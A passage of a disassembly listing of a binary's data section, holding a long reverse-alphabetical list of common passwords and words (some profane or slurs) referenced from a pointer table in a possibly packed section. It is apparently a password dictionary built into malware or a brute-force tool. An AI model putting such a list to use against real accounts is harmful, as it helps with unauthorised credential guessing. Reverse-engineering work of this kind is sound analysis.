aHypertxt	db 'hypertxt',0         ; DATA XREF: .nsp0:00425E60o
		align 4
aHyper		db 'hyper',0            ; DATA XREF: .nsp0:00425E5Co
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: .nsp0:00425E58o
		align 10h
aHutchins	db 'hutchins',0         ; DATA XREF: .nsp0:00425E54o
		align 4
aHunter		db 'hunter',0           ; DATA XREF: .nsp0:00425E50o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: .nsp0:00425E4Co
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401AC7+17E1o
					; .nsp0:00425E48o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: .nsp0:00425E44o
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: .nsp0:00425E40o
		align 4
aHost		db 'host',0             ; DATA XREF: .nsp0:00425E3Co
		align 4
aHorus		db 'horus',0            ; DATA XREF: .nsp0:00425E38o
		align 4
aHorse		db 'horse',0            ; DATA XREF: .nsp0:00425E34o
		align 4
aHorror		db 'horror',0           ; DATA XREF: .nsp0:00425E30o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: .nsp0:00425E2Co
		align 10h
aHorny		db 'horny',0            ; DATA XREF: .nsp0:00425E28o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: .nsp0:00425E24o
aHooker		db 'hooker',0           ; DATA XREF: .nsp0:00425E20o
		align 4
aHoney		db 'honey',0            ; DATA XREF: .nsp0:00425E1Co
		align 10h
aHomework	db 'homework',0         ; DATA XREF: .nsp0:00425E18o
		align 4
aHomer		db 'homer',0            ; DATA XREF: .nsp0:00425E14o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: .nsp0:00425E10o
		align 10h
aHollywoo	db 'hollywoo',0         ; DATA XREF: .nsp0:00425E0Co
		align 4
aHolly		db 'holly',0            ; DATA XREF: .nsp0:00425E08o
		align 4
aHole		db 'hole',0             ; DATA XREF: .nsp0:00425E04o
		align 4
aHits		db 'hits',0             ; DATA XREF: .nsp0:00425E00o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: .nsp0:00425DFCo
		align 4
aHighland	db 'highland',0         ; DATA XREF: .nsp0:00425DF8o
		align 4
aHigh		db 'high',0             ; DATA XREF: .nsp0:00425DF4o
		align 10h
aHidden		db 'hidden',0           ; DATA XREF: .nsp0:00425DF0o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: .nsp0:00425DECo
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: .nsp0:00425DE8o
		align 10h
aHexadeci	db 'hexadeci',0         ; DATA XREF: .nsp0:00425DE4o
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: .nsp0:00425DE0o
aHeroin		db 'heroin',0           ; DATA XREF: .nsp0:00425DDCo
		align 4
aHero		db 'hero',0             ; DATA XREF: .nsp0:00425DD8o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: .nsp0:00425DD4o
aHerb		db 'herb',0             ; DATA XREF: .nsp0:00425DD0o
		align 4
aHelp		db 'help',0             ; DATA XREF: .nsp0:00425DCCo
		align 4
aHello		db 'hello',0            ; DATA XREF: .nsp0:00425DC8o
		align 4
aHell		db 'hell',0             ; DATA XREF: .nsp0:00425DC4o
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: .nsp0:00425DC0o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: .nsp0:00425DBCo
		align 10h
aHebrides	db 'hebrides',0         ; DATA XREF: .nsp0:00425DB8o
		align 4
aHeather	db 'heather',0          ; DATA XREF: .nsp0:00425DB4o
aHeathen	db 'heathen',0          ; DATA XREF: .nsp0:00425DB0o
aHeat		db 'heat',0             ; DATA XREF: .nsp0:00425DACo
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: .nsp0:00425DA8o
		align 10h
aHead		db 'head',0             ; DATA XREF: .nsp0:00425DA4o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: .nsp0:00425DA0o
		align 10h
aHaven		db 'haven',0            ; DATA XREF: .nsp0:00425D9Co
		align 4
aHate		db 'hate',0             ; DATA XREF: .nsp0:00425D98o
		align 10h
aHarvey		db 'harvey',0           ; DATA XREF: .nsp0:00425D94o
		align 4
aHarold		db 'harold',0           ; DATA XREF: .nsp0:00425D90o
		align 10h
aHarmony	db 'harmony',0          ; DATA XREF: .nsp0:00425D8Co
aHarddriv	db 'harddriv',0         ; DATA XREF: .nsp0:00425D88o
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: .nsp0:00425D84o
		align 10h
aHard		db 'hard',0             ; DATA XREF: .nsp0:00425D80o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: .nsp0:00425D7Co
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: .nsp0:00425D78o
aHandily	db 'handily',0          ; DATA XREF: .nsp0:00425D74o
aHandel		db 'handel',0           ; DATA XREF: .nsp0:00425D70o
		align 4
aHamster	db 'hamster',0          ; DATA XREF: .nsp0:00425D6Co
aHamlet		db 'hamlet',0           ; DATA XREF: .nsp0:00425D68o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: .nsp0:00425D64o
		align 4
aHair		db 'hair',0             ; DATA XREF: .nsp0:00425D60o
		align 10h
aHagar		db 'hagar',0            ; DATA XREF: .nsp0:00425D5Co
		align 4
aHacked		db 'hacked',0           ; DATA XREF: .nsp0:00425D58o
		align 10h
aHack		db 'hack',0             ; DATA XREF: .nsp0:00425D54o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: .nsp0:00425D50o
		align 10h
aGumption	db 'gumption',0         ; DATA XREF: .nsp0:00425D4Co
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: .nsp0:00425D48o
		align 4
aGuess		db 'guess',0            ; DATA XREF: .nsp0:00425D44o
		align 4
aGucci		db 'gucci',0            ; DATA XREF: .nsp0:00425D40o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: .nsp0:00425D3Co
		align 10h
aGryphon	db 'gryphon',0          ; DATA XREF: .nsp0:00425D38o
aGroup		db 'group',0            ; DATA XREF: .nsp0:00425D34o
		align 10h
aGreen		db 'green',0            ; DATA XREF: .nsp0:00425D30o
		align 4
aGreat		db 'great',0            ; DATA XREF: .nsp0:00425D2Co
		align 10h
aGrant		db 'grant',0            ; DATA XREF: .nsp0:00425D28o
		align 4
aGrand		db 'grand',0            ; DATA XREF: .nsp0:00425D24o
		align 10h
aGrahm		db 'grahm',0            ; DATA XREF: .nsp0:00425D20o
		align 4
aGraham		db 'graham',0           ; DATA XREF: .nsp0:00425D1Co
		align 10h
aGrades		db 'grades',0           ; DATA XREF: .nsp0:00425D18o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: .nsp0:00425D14o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: .nsp0:00425D10o
		align 4
aGosling	db 'gosling',0          ; DATA XREF: .nsp0:00425D0Co
aGorges		db 'gorges',0           ; DATA XREF: .nsp0:00425D08o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: .nsp0:00425D04o
		align 4
aGood		db 'good',0             ; DATA XREF: .nsp0:00425D00o
		align 10h
aGolfer		db 'golfer',0           ; DATA XREF: .nsp0:00425CFCo
		align 4
aGolf		db 'golf',0             ; DATA XREF: .nsp0:00425CF8o
		align 10h
aGolden		db 'golden',0           ; DATA XREF: .nsp0:00425CF4o
		align 4
aGold		db 'gold',0             ; DATA XREF: .nsp0:00425CF0o
		align 10h
aGlacier	db 'glacier',0          ; DATA XREF: .nsp0:00425CECo
aGirl		db 'girl',0             ; DATA XREF: .nsp0:00425CE8o
		align 10h
aGinger		db 'ginger',0           ; DATA XREF: .nsp0:00425CE4o
		align 4
aGina		db 'gina',0             ; DATA XREF: .nsp0:00425CE0o
		align 10h
aGigabyte	db 'gigabyte',0         ; DATA XREF: .nsp0:00425CDCo
		align 4
aGibson		db 'gibson',0           ; DATA XREF: .nsp0:00425CD8o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: .nsp0:00425CD4o
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: .nsp0:00425CD0o
		align 4
aGerm		db 'germ',0             ; DATA XREF: .nsp0:00425CCCo
		align 10h
aGeorge		db 'george',0           ; DATA XREF: .nsp0:00425CC8o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: .nsp0:00425CC4o
		align 10h
aGatt		db 'gatt',0             ; DATA XREF: .nsp0:00425CC0o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: .nsp0:00425CBCo
		align 4
aGateway	db 'gateway',0          ; DATA XREF: .nsp0:00425CB8o
aGarfield	db 'garfield',0         ; DATA XREF: .nsp0:00425CB4o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: .nsp0:00425CB0o
aGames		db 'games',0            ; DATA XREF: .nsp0:00425CACo
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: .nsp0:00425CA8o
aFungible	db 'fungible',0         ; DATA XREF: .nsp0:00425CA4o
		align 4
aFunction	db 'function',0         ; DATA XREF: .nsp0:00425CA0o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: .nsp0:00425C9Co
		align 10h
aFuckyou	db 'fuckyou',0          ; DATA XREF: .nsp0:00425C98o
aFuckme		db 'fuckme',0           ; DATA XREF: .nsp0:00425C94o
		align 10h
aFucking	db 'fucking',0          ; DATA XREF: .nsp0:00425C90o
aFucker		db 'fucker',0           ; DATA XREF: .nsp0:00425C8Co
		align 10h
aFuck		db 'fuck',0             ; DATA XREF: .nsp0:00425C88o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: .nsp0:00425C84o
		align 10h
aFrog		db 'frog',0             ; DATA XREF: .nsp0:00425C80o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: .nsp0:00425C7Co
		align 4
aFriends	db 'friends',0          ; DATA XREF: .nsp0:00425C78o
aFriend		db 'friend',0           ; DATA XREF: .nsp0:00425C74o
		align 4
aFriday		db 'friday',0           ; DATA XREF: .nsp0:00425C70o
		align 4
aFrench		db 'french',0           ; DATA XREF: .nsp0:00425C6Co
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: .nsp0:00425C68o
aFree		db 'free',0             ; DATA XREF: .nsp0:00425C64o
		align 4
aFred		db 'fred',0             ; DATA XREF: .nsp0:00425C60o
		align 4
aFreak		db 'freak',0            ; DATA XREF: .nsp0:00425C5Co
		align 4
aFrank		db 'frank',0            ; DATA XREF: .nsp0:00425C58o
		align 4
aFrance		db 'france',0           ; DATA XREF: .nsp0:00425C54o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: .nsp0:00425C50o
aFourier	db 'fourier',0          ; DATA XREF: .nsp0:00425C4Co
aForsythe	db 'forsythe',0         ; DATA XREF: .nsp0:00425C48o
		align 10h
aFornicat	db 'fornicat',0         ; DATA XREF: .nsp0:00425C44o
		align 4
aFormat		db 'format',0           ; DATA XREF: .nsp0:00425C40o
		align 4
aForm		db 'form',0             ; DATA XREF: .nsp0:00425C3Co
		align 4
aForever	db 'forever',0          ; DATA XREF: .nsp0:00425C38o
aForesigh	db 'foresigh',0         ; DATA XREF: .nsp0:00425C34o
		align 10h
aFord		db 'ford',0             ; DATA XREF: .nsp0:00425C30o
		align 4
aForce		db 'force',0            ; DATA XREF: .nsp0:00425C2Co
		align 10h
aFootball	db 'football',0         ; DATA XREF: .nsp0:00425C28o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: .nsp0:00425C24o
		align 4
aFool		db 'fool',0             ; DATA XREF: .nsp0:00425C20o
		align 10h
aFood		db 'food',0             ; DATA XREF: .nsp0:00425C1Co
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: .nsp0:00425C18o
aFlower		db 'flower',0           ; DATA XREF: .nsp0:00425C14o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: .nsp0:00425C10o
aFloat		db 'float',0            ; DATA XREF: .nsp0:00425C0Co
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: .nsp0:00425C08o
		align 10h
aFishers	db 'fishers',0          ; DATA XREF: .nsp0:00425C04o
aFirewall	db 'firewall',0         ; DATA XREF: .nsp0:00425C00o
		align 4
aFire		db 'fire',0             ; DATA XREF: .nsp0:00425BFCo
		align 4
aFinite		db 'finite',0           ; DATA XREF: .nsp0:00425BF8o
		align 4
aFile		db 'file',0             ; DATA XREF: .nsp0:00425BF4o
		align 4
aFight		db 'fight',0            ; DATA XREF: .nsp0:00425BF0o
		align 4
aField		db 'field',0            ; DATA XREF: .nsp0:00425BECo
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: .nsp0:00425BE8o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: .nsp0:00425BE4o
aFermat		db 'fermat',0           ; DATA XREF: .nsp0:00425BE0o
		align 4
aFender		db 'fender',0           ; DATA XREF: .nsp0:00425BDCo
		align 10h
aFelicia	db 'felicia',0          ; DATA XREF: .nsp0:00425BD8o
aFeds		db 'feds',0             ; DATA XREF: .nsp0:00425BD4o
		align 10h
aFear		db 'fear',0             ; DATA XREF: .nsp0:00425BD0o
		align 4
aFast		db 'fast',0             ; DATA XREF: .nsp0:00425BCCo
		align 10h
aFart		db 'fart',0             ; DATA XREF: .nsp0:00425BC8o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: .nsp0:00425BC4o
aFarad		db 'farad',0            ; DATA XREF: .nsp0:00425BC0o
		align 4
aFamily		db 'family',0           ; DATA XREF: .nsp0:00425BBCo
		align 10h
aFalse		db 'false',0            ; DATA XREF: .nsp0:00425BB8o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: .nsp0:00425BB4o
		align 10h
aFaith		db 'faith',0            ; DATA XREF: .nsp0:00425BB0o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: .nsp0:00425BACo
aExtensio	db 'extensio',0         ; DATA XREF: .nsp0:00425BA8o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: .nsp0:00425BA4o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: .nsp0:00425BA0o
		align 4
aExplore	db 'explore',0          ; DATA XREF: .nsp0:00425B9Co
aExplode	db 'explode',0          ; DATA XREF: .nsp0:00425B98o
aExpert		db 'expert',0           ; DATA XREF: .nsp0:00425B94o
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: .nsp0:00425B90o
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: .nsp0:00425B8Co
		align 4
aEternity	db 'eternity',0         ; DATA XREF: .nsp0:00425B88o
		align 4
aEstate		db 'estate',0           ; DATA XREF: .nsp0:00425B84o
		align 10h
aEstablis	db 'establis',0         ; DATA XREF: .nsp0:00425B80o
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: .nsp0:00425B7Co
		align 4
aErotic		db 'erotic',0           ; DATA XREF: .nsp0:00425B78o
		align 4
aErin		db 'erin',0             ; DATA XREF: .nsp0:00425B74o
		align 4
aErika		db 'erika',0            ; DATA XREF: .nsp0:00425B70o
		align 4
aErica		db 'erica',0            ; DATA XREF: .nsp0:00425B6Co
		align 4
aEric		db 'eric',0             ; DATA XREF: .nsp0:00425B68o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: .nsp0:00425B64o
aEnzyme		db 'enzyme',0           ; DATA XREF: .nsp0:00425B60o
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: .nsp0:00425B5Co
		align 4
aEnter		db 'enter',0            ; DATA XREF: .nsp0:00425B58o
		align 10h
aEnglish	db 'english',0          ; DATA XREF: .nsp0:00425B54o
aEngland	db 'england',0          ; DATA XREF: .nsp0:00425B50o
aEngineer	db 'engineer',0         ; DATA XREF: .nsp0:00425B4Co
		align 4
aEngine		db 'engine',0           ; DATA XREF: .nsp0:00425B48o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: .nsp0:00425B44o
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: .nsp0:00425B40o
		align 4
aEmily		db 'emily',0            ; DATA XREF: .nsp0:00425B3Co
		align 10h
aEmerald	db 'emerald',0          ; DATA XREF: .nsp0:00425B38o
aEmail		db 'email',0            ; DATA XREF: sub_401AC7+47C4o
					; .nsp0:00425B34o
		align 10h
aEllen		db 'ellen',0            ; DATA XREF: .nsp0:00425B30o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: .nsp0:00425B2Co
		align 4
aElephant	db 'elephant',0         ; DATA XREF: .nsp0:00425B28o
		align 10h
aElectron	db 'electron',0         ; DATA XREF: .nsp0:00425B24o
		align 4
aElanor		db 'elanor',0           ; DATA XREF: .nsp0:00425B20o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: .nsp0:00425B1Co
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: .nsp0:00425B18o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: .nsp0:00425B14o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: .nsp0:00425B10o
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: .nsp0:00425B0Co
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: .nsp0:00425B08o
aEdwina		db 'edwina',0           ; DATA XREF: .nsp0:00425B04o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: .nsp0:00425B00o
		align 10h
aEducatio	db 'educatio',0         ; DATA XREF: .nsp0:00425AFCo
		align 4
aEducation	db 'education',0        ; DATA XREF: .nsp0:00425AF8o
		align 4
aEdition	db 'edition',0          ; DATA XREF: .nsp0:00425AF4o
aEdit		db 'edit',0             ; DATA XREF: .nsp0:00425AF0o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: .nsp0:00425AECo
		align 4
aEdges		db 'edges',0            ; DATA XREF: .nsp0:00425AE8o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: .nsp0:00425AE4o
		align 4
aEcho		db 'echo',0             ; DATA XREF: .nsp0:00425AE0o
		align 4
aEatme		db 'eatme',0            ; DATA XREF: .nsp0:00425ADCo
		align 4
aEasy		db 'easy',0             ; DATA XREF: .nsp0:00425AD8o
		align 4
aEasier		db 'easier',0           ; DATA XREF: .nsp0:00425AD4o
		align 4
aEarth		db 'earth',0            ; DATA XREF: .nsp0:00425AD0o
		align 4
aEagle		db 'eagle',0            ; DATA XREF: .nsp0:00425ACCo
		align 4
aEager		db 'eager',0            ; DATA XREF: .nsp0:00425AC8o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: .nsp0:00425AC4o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: .nsp0:00425AC0o
aDuncan		db 'duncan',0           ; DATA XREF: .nsp0:00425ABCo
		align 4
aDulce		db 'dulce',0            ; DATA XREF: .nsp0:00425AB8o
		align 4
aDuke		db 'duke',0             ; DATA XREF: .nsp0:00425AB4o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: .nsp0:00425AB0o
aDude		db 'dude',0             ; DATA XREF: .nsp0:00425AACo
		align 4
aDuck		db 'duck',0             ; DATA XREF: .nsp0:00425AA8o
		align 4
aDrought	db 'drought',0          ; DATA XREF: .nsp0:00425AA4o
aDrive		db 'drive',0            ; DATA XREF: .nsp0:00425AA0o
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: .nsp0:00425A9Co
		align 4
aDragon		db 'dragon',0           ; DATA XREF: .nsp0:00425A98o
		align 4
aDownload	db 'download',0         ; DATA XREF: .nsp0:00425A94o
		align 4
aDope		db 'dope',0             ; DATA XREF: .nsp0:00425A90o
		align 10h
aDoors		db 'doors',0            ; DATA XREF: .nsp0:00425A8Co
		align 4
aDoor		db 'door',0             ; DATA XREF: .nsp0:00425A88o
		align 10h
aDoonesbu	db 'doonesbu',0         ; DATA XREF: .nsp0:00425A84o
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: .nsp0:00425A80o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: .nsp0:00425A7Co
		align 10h
aDoom2		db 'doom2',0            ; DATA XREF: .nsp0:00425A78o
		align 4
aDoom		db 'doom',0             ; DATA XREF: .nsp0:00425A74o
		align 10h
aDong		db 'dong',0             ; DATA XREF: .nsp0:00425A70o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: .nsp0:00425A6Co
		align 10h
aDoctor		db 'doctor',0           ; DATA XREF: .nsp0:00425A68o
		align 4
aDisplay	db 'display',0          ; DATA XREF: .nsp0:00425A64o
aDisney		db 'disney',0           ; DATA XREF: .nsp0:00425A60o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: .nsp0:00425A5Co
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: .nsp0:00425A58o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: .nsp0:00425A54o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: .nsp0:00425A50o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: .nsp0:00425A4Co
		align 10h
aDisc		db 'disc',0             ; DATA XREF: .nsp0:00425A48o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: .nsp0:00425A44o
		align 10h
aDirector	db 'director',0         ; DATA XREF: .nsp0:00425A40o
		align 4
aDirect		db 'direct',0           ; DATA XREF: .nsp0:00425A3Co
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: .nsp0:00425A38o
aDinosaur	db 'dinosaur',0         ; DATA XREF: .nsp0:00425A34o
		align 4
aDigital	db 'digital',0          ; DATA XREF: .nsp0:00425A30o
aDieter		db 'dieter',0           ; DATA XREF: .nsp0:00425A2Co
		align 4
aDiet		db 'diet',0             ; DATA XREF: .nsp0:00425A28o
		align 10h
aDiehard	db 'diehard',0          ; DATA XREF: .nsp0:00425A24o
aDick		db 'dick',0             ; DATA XREF: .nsp0:00425A20o
		align 10h
aDice		db 'dice',0             ; DATA XREF: .nsp0:00425A1Co
		align 4
aDiane		db 'diane',0            ; DATA XREF: .nsp0:00425A18o
		align 10h
aDiana		db 'diana',0            ; DATA XREF: .nsp0:00425A14o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: .nsp0:00425A10o
aDial		db 'dial',0             ; DATA XREF: .nsp0:00425A0Co
		align 4
aDevice		db 'device',0           ; DATA XREF: .nsp0:00425A08o
		align 10h
aDevelop	db 'develop',0          ; DATA XREF: .nsp0:00425A04o
aDesperat	db 'desperat',0         ; DATA XREF: .nsp0:00425A00o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: .nsp0:004259FCo
aDesk		db 'desk',0             ; DATA XREF: .nsp0:004259F8o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: .nsp0:004259F4o
aDennis		db 'dennis',0           ; DATA XREF: .nsp0:004259F0o
		align 4
aDenise		db 'denise',0           ; DATA XREF: .nsp0:004259ECo
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: .nsp0:004259E8o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: .nsp0:004259E4o
		align 10h
aDelta		db 'delta',0            ; DATA XREF: .nsp0:004259E0o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: .nsp0:004259DCo
		align 10h
aDefault_0	db 'DEFAULT',0          ; DATA XREF: .nsp0:004259D8o
aDeck		db 'deck',0             ; DATA XREF: .nsp0:004259D0o
		align 10h
aDecember	db 'december',0         ; DATA XREF: .nsp0:004259CCo
		align 4
aDebug		db 'debug',0            ; DATA XREF: .nsp0:004259C8o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: .nsp0:004259C4o
aDebbie		db 'debbie',0           ; DATA XREF: .nsp0:004259C0o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: .nsp0:004259BCo
		align 10h
aDead		db 'dead',0             ; DATA XREF: .nsp0:004259B8o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: .nsp0:004259B4o
		align 10h
aDave		db 'dave',0             ; DATA XREF: .nsp0:004259B0o
		align 4
aData		db 'data',0             ; DATA XREF: .nsp0:004259ACo
		align 10h
aDarkaven	db 'darkaven',0         ; DATA XREF: .nsp0:004259A8o
		align 4
aDark		db 'dark',0             ; DATA XREF: .nsp0:004259A4o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: .nsp0:004259A0o
		align 4
aDanny		db 'danny',0            ; DATA XREF: .nsp0:0042599Co
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: .nsp0:00425998o
		align 10h
aDaniel		db 'daniel',0           ; DATA XREF: .nsp0:00425994o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: .nsp0:00425990o
		align 10h
aDana		db 'dana',0             ; DATA XREF: .nsp0:0042598Co
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: .nsp0:00425988o
		align 10h
aDaemon		db 'daemon',0           ; DATA XREF: .nsp0:00425984o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: .nsp0:00425980o
aCyberspa	db 'cyberspa',0         ; DATA XREF: .nsp0:0042597Co
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: .nsp0:00425978o
		align 4
aCyber_1	db 'cyber',0            ; DATA XREF: .nsp0:00425974o
		align 10h
aCustomer	db 'customer',0         ; DATA XREF: .nsp0:00425970o
		align 4
aCunt		db 'cunt',0             ; DATA XREF: .nsp0:0042596Co
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: .nsp0:00425968o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: .nsp0:00425964o
aCristina	db 'cristina',0         ; DATA XREF: .nsp0:00425960o
		align 10h
aCriminal	db 'criminal',0         ; DATA XREF: .nsp0:0042595Co
		align 4
aCrime		db 'crime',0            ; DATA XREF: .nsp0:00425958o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: .nsp0:00425954o
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: .nsp0:00425950o
		align 4
aCredit		db 'credit',0           ; DATA XREF: .nsp0:0042594Co
		align 10h
aCreature	db 'creature',0         ; DATA XREF: .nsp0:00425948o
		align 4
aCreation	db 'creation',0         ; DATA XREF: .nsp0:00425944o
		align 4
aCreate		db 'create',0           ; DATA XREF: .nsp0:00425940o
		align 10h
aCream		db 'cream',0            ; DATA XREF: .nsp0:0042593Co
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: .nsp0:00425938o
		align 4
aCrack		db 'crack',0            ; DATA XREF: .nsp0:00425934o
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: .nsp0:00425930o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: .nsp0:0042592Co
		align 10h
aCountry	db 'country',0          ; DATA XREF: .nsp0:00425928o
aCounters	db 'counters',0         ; DATA XREF: .nsp0:00425924o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: .nsp0:00425920o
aCorneliu	db 'corneliu',0         ; DATA XREF: .nsp0:0042591Co
		align 4
aCopy		db 'copy',0             ; DATA XREF: .nsp0:00425918o
		align 10h
aCops		db 'cops',0             ; DATA XREF: .nsp0:00425914o
		align 4
aCopper		db 'copper',0           ; DATA XREF: .nsp0:00425910o
		align 10h
aCooper		db 'cooper',0           ; DATA XREF: .nsp0:0042590Co
		align 4
aCool		db 'cool',0             ; DATA XREF: .nsp0:00425908o
		align 10h
aCookie		db 'cookie',0           ; DATA XREF: .nsp0:00425904o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: .nsp0:00425900o
		align 4
aCook		db 'cook',0             ; DATA XREF: .nsp0:004258FCo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401AC7+3D75o
					; .nsp0:004258F8o
		align 4
aConsole	db 'console',0          ; DATA XREF: .nsp0:004258F4o
aConserva	db 'conserva',0         ; DATA XREF: .nsp0:004258F0o
		align 4
aConnie		db 'connie',0           ; DATA XREF: .nsp0:004258ECo
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_408CF8+53Bo
					; .nsp0:004258E8o
aCondom		db 'condom',0           ; DATA XREF: .nsp0:004258E4o
		align 4
aCondo		db 'condo',0            ; DATA XREF: .nsp0:004258E0o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: .nsp0:004258DCo
		align 4
aComrade	db 'comrade',0          ; DATA XREF: .nsp0:004258D8o
aComputin	db 'computin',0         ; DATA XREF: .nsp0:004258D4o
		align 4
aCompany	db 'company',0          ; DATA XREF: .nsp0:004258D0o
aCommrade	db 'commrade',0         ; DATA XREF: .nsp0:004258CCo
		align 10h
aCommit		db 'commit',0           ; DATA XREF: .nsp0:004258C8o
		align 4
aComics		db 'comics',0           ; DATA XREF: .nsp0:004258C4o
		align 10h
aCombat		db 'combat',0           ; DATA XREF: .nsp0:004258C0o
		align 4
aColor		db 'color',0            ; DATA XREF: .nsp0:004258BCo
		align 10h
aCollins	db 'collins',0          ; DATA XREF: .nsp0:004258B8o
aCold		db 'cold',0             ; DATA XREF: .nsp0:004258B4o
		align 10h
aCola		db 'cola',0             ; DATA XREF: .nsp0:004258B0o
		align 4
aCoke		db 'coke',0             ; DATA XREF: .nsp0:004258ACo
		align 10h
aCoin		db 'coin',0             ; DATA XREF: .nsp0:004258A8o
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: .nsp0:004258A4o
		align 10h
aCodeword	db 'codeword',0         ; DATA XREF: .nsp0:004258A0o
		align 4
aCodename	db 'codename',0         ; DATA XREF: .nsp0:0042589Co
		align 4
aCode		db 'code',0             ; DATA XREF: .nsp0:00425898o
		align 10h
aCock		db 'cock',0             ; DATA XREF: .nsp0:00425894o
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: .nsp0:00425890o
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: .nsp0:0042588Co
		align 10h
aCoast		db 'coast',0            ; DATA XREF: .nsp0:00425888o
		align 4
aClusters	db 'clusters',0         ; DATA XREF: .nsp0:00425884o
		align 4
aCluster	db 'cluster',0          ; DATA XREF: .nsp0:00425880o
aClinton	db 'clinton',0          ; DATA XREF: .nsp0:0042587Co
